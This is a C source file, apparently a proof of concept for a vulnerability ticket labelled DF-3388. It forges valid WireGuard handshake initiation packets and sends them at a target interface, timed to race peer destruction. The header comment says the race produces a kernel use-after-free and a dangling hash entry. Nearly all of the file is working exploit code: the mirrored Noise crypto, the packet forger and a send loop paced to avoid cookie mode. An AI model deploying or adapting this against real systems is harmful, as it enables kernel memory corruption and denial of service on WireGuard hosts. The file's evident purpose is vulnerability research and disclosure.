DF-3388 / wgforge.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 | /* * DF-3388 PoC - WireGuard handshake initiation forger. * * Forges valid Noise_IKpsk2 handshake initiation messages for a set of * configured peer identities (we own the peer private keys) and blasts * them at the target wg interface's UDP port, while a separate churner * process repeatedly destroys and re-adds those same peers via SIOCSWG. * * The goal is to hit the window where noise_consume_initiation() has * already passed noise_remote_lookup() (holds a remote ref) but has not * yet taken r_handshake_lock, while wg_peer_destroy() -> * noise_remote_free() -> noise_remote_handshake_clear() runs to * completion on another CPU. The consume path then: * - re-inserts &r->r_index into l_index_hash after handshake_clear(), * leaving a dangling list entry when the remote's last ref drops, or * - dereferences the already-kfree()d wg_peer via noise_remote_arg(). * * Build: see build.sh. Run as any user (traffic source is unauthenticated * in the sense that it needs no socket privileges; the peer keys are * known because we configured them). */ #include <sys/types.h> #include <sys/endian.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <time.h> #include <unistd.h> #include <crypto/blake2/blake2s.h> #include <crypto/curve25519/curve25519.h> /* from chachapoly_user.c */ void cp_encrypt(uint8_t *, const uint8_t *, size_t, const uint8_t *, size_t, const uint8_t[12], const uint8_t[32]); #define NOISE_PUBLIC_KEY_LEN 32 #define NOISE_SYMMETRIC_KEY_LEN 32 #define NOISE_AUTHTAG_LEN 16 #define NOISE_HASH_LEN 32 #define NOISE_TIMESTAMP_LEN 12 #define NPEERS 32 /* ---------------- noise functions, mirrored from sys/net/wg/wg_noise.c -- */ static void noise_hmac(uint8_t *out, const uint8_t *in, const uint8_t *key, size_t outlen, size_t inlen, size_t keylen) { struct blake2s_state blake; uint8_t x_key[64] __aligned(__alignof__(uint32_t)); uint8_t i_hash[32] __aligned(__alignof__(uint32_t)); int i; memset(x_key, 0, sizeof(x_key)); if (keylen > 64) { blake2s_init(&blake, 32); blake2s_update(&blake, key, keylen); blake2s_final(&blake, x_key); } else { memcpy(x_key, key, keylen); } for (i = 0; i < 64; ++i) x_key[i] ^= 0x36; blake2s_init(&blake, 32); blake2s_update(&blake, x_key, 64); blake2s_update(&blake, in, inlen); blake2s_final(&blake, i_hash); for (i = 0; i < 64; ++i) x_key[i] ^= 0x5c ^ 0x36; blake2s_init(&blake, 32); blake2s_update(&blake, x_key, 64); blake2s_update(&blake, i_hash, 32); blake2s_final(&blake, i_hash); memcpy(out, i_hash, outlen); explicit_bzero(x_key, sizeof(x_key)); explicit_bzero(i_hash, sizeof(i_hash)); } static void noise_kdf(uint8_t *a, uint8_t *b, const uint8_t *x, size_t a_len, size_t b_len, size_t x_len, const uint8_t ck[NOISE_HASH_LEN]) { uint8_t out[32 + 1]; uint8_t sec[32]; noise_hmac(sec, x, ck, 32, x_len, NOISE_HASH_LEN); out[0] = 1; noise_hmac(out, out, sec, 32, 1, 32); memcpy(a, out, a_len); if (b == NULL || b_len == 0) { explicit_bzero(sec, sizeof(sec)); explicit_bzero(out, sizeof(out)); return; } out[32] = 2; noise_hmac(out, out, sec, 32, 33, 32); memcpy(b, out, b_len); explicit_bzero(sec, sizeof(sec)); explicit_bzero(out, sizeof(out)); } static void noise_mix_hash(uint8_t hash[NOISE_HASH_LEN], const uint8_t *src, size_t len) { struct blake2s_state blake; blake2s_init(&blake, NOISE_HASH_LEN); blake2s_update(&blake, hash, NOISE_HASH_LEN); blake2s_update(&blake, src, len); blake2s_final(&blake, hash); } static void noise_param_init(uint8_t ck[NOISE_HASH_LEN], uint8_t hash[NOISE_HASH_LEN], const uint8_t s[NOISE_PUBLIC_KEY_LEN]) { static const char handshake_name[] = "Noise_IKpsk2_25519_ChaChaPoly_BLAKE2s"; static const char identifier_name[] = "WireGuard v1 zx2c4 Jason@zx2c4.com"; struct blake2s_state blake; blake2s(ck, handshake_name, NULL, NOISE_HASH_LEN, sizeof(handshake_name) - 1, 0); blake2s_init(&blake, NOISE_HASH_LEN); blake2s_update(&blake, ck, NOISE_HASH_LEN); blake2s_update(&blake, identifier_name, sizeof(identifier_name) - 1); blake2s_final(&blake, hash); noise_mix_hash(hash, s, NOISE_PUBLIC_KEY_LEN); } static void noise_msg_encrypt(uint8_t *dst, const uint8_t *src, size_t src_len, uint8_t key[NOISE_SYMMETRIC_KEY_LEN], uint8_t hash[NOISE_HASH_LEN]) { static const uint8_t nonce[12] = { 0 }; cp_encrypt(dst, src, src_len, hash, NOISE_HASH_LEN, nonce, key); noise_mix_hash(hash, dst, src_len + NOISE_AUTHTAG_LEN); } static void noise_msg_ephemeral(uint8_t ck[NOISE_HASH_LEN], uint8_t hash[NOISE_HASH_LEN], const uint8_t src[NOISE_PUBLIC_KEY_LEN]) { noise_mix_hash(hash, src, NOISE_PUBLIC_KEY_LEN); noise_kdf(ck, NULL, src, NOISE_HASH_LEN, 0, NOISE_PUBLIC_KEY_LEN, ck); } /* ------------------------------------------------------------------ */ struct wg_pkt_initiation { uint32_t t; /* 1 */ uint32_t s_idx; uint8_t ue[32]; uint8_t es[32 + 16]; uint8_t ets[12 + 16]; uint8_t mac1[16]; uint8_t mac2[16]; }; struct peer_key { uint8_t priv[32]; /* clamped */ uint8_t pub[32]; }; static struct peer_key peers[NPEERS]; static uint8_t resp_pub[32]; /* wg0's public key (from keyfile) */ static uint64_t ts_counter; static const uint8_t g_basepoint[32] = { 9 }; static void clamp(uint8_t *k) { k[0] &= 248; k[31] &= 127; k[31] |= 64; } static void randbuf(uint8_t *p, size_t n) { size_t i; for (i = 0; i < n; i++) p[i] = (uint8_t)(random() & 0xff); } static void tai64n(uint8_t out[12], uint64_t ctr) { uint64_t sec = htobe64(0x400000000000000aULL + 0x100000000ULL + ctr); uint32_t nsec = htobe32((uint32_t)(ctr * 1000)); memcpy(out, &sec, 8); memcpy(out + 8, &nsec, 4); } static void forge(struct peer_key *pk, struct wg_pkt_initiation *pkt) { uint8_t ck[32], hash[32], key[32], epriv[32], dh[32], ts[12]; struct blake2s_state blake; uint8_t mac1_key[32]; memset(pkt, 0, sizeof(*pkt)); pkt->t = htole32(1); pkt->s_idx = (uint32_t)random(); /* param_init uses the RESPONDER's public key */ noise_param_init(ck, hash, resp_pub); /* e */ randbuf(epriv, 32); clamp(epriv); curve25519(pkt->ue, epriv, g_basepoint); noise_msg_ephemeral(ck, hash, pkt->ue); /* es: DH(e, responder_pub) */ curve25519(dh, epriv, resp_pub); noise_kdf(ck, key, dh, 32, 32, 32, ck); noise_msg_encrypt(pkt->es, pk->pub, 32, key, hash); /* ss: DH(my_static_priv, responder_pub) */ curve25519(dh, pk->priv, resp_pub); noise_kdf(ck, key, dh, 32, 32, 32, ck); ts_counter++; tai64n(ts, ts_counter); noise_msg_encrypt(pkt->ets, ts, 12, key, hash); /* MAC1 = blake2s(keyed with HASH("mac1----" || responder_pub)) */ blake2s_init(&blake, 32); blake2s_update(&blake, "mac1----", 8); blake2s_update(&blake, resp_pub, 32); blake2s_final(&blake, mac1_key); blake2s_init_key(&blake, 16, mac1_key, 32); blake2s_update(&blake, (uint8_t *)pkt, sizeof(*pkt) - 32); blake2s_final(&blake, pkt->mac1); /* mac2 left zero: fine while not underload */ } int main(int argc, char **argv) { const char *keyfile = argc > 3 ? argv[3] : "/tmp/wgkeys.bin"; int port = argc > 2 ? atoi(argv[2]) : 51820; const char *dst = argc > 1 ? argv[1] : "127.0.0.1"; FILE *f; struct wg_pkt_initiation pkt; struct sockaddr_in sin; int s, i, n = 0; unsigned long sent = 0; time_t last; srandom(time(NULL) ^ getpid()); f = fopen(keyfile, "rb"); if (f == NULL) { perror("keyfile"); return 1; } if (fread(resp_pub, 32, 1, f) != 1) { fprintf(stderr, "short keyfile\n"); return 1; } for (i = 0; i < NPEERS; i++) { if (fread(peers[i].priv, 32, 1, f) != 1) { fprintf(stderr, "short keyfile (peers)\n"); return 1; } clamp(peers[i].priv); curve25519(peers[i].pub, peers[i].priv, g_basepoint); } fclose(f); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); inet_pton(AF_INET, dst, &sin.sin_addr); /* drain any responses so rcvbuf never fills */ { int one = 1; setsockopt(s, SOL_SOCKET, SO_RCVBUF, &one, sizeof(one)); } last = time(NULL); for (;;) { for (i = 0; i < NPEERS; i++) { forge(&peers[i], &pkt); sendto(s, &pkt, sizeof(pkt), 0, (struct sockaddr *)&sin, sizeof(sin)); sent++; /* * Pace below the wg underload threshold * (handshake queue >= 512 triggers cookie mode, * which bounces every initiation before * noise_consume_initiation() and kills the race). */ usleep(3000); /* ~330 pps */ } n++; if (time(NULL) != last) { last = time(NULL); printf("rounds=%d sent=%lu\n", n, sent); fflush(stdout); n = 0; } } } |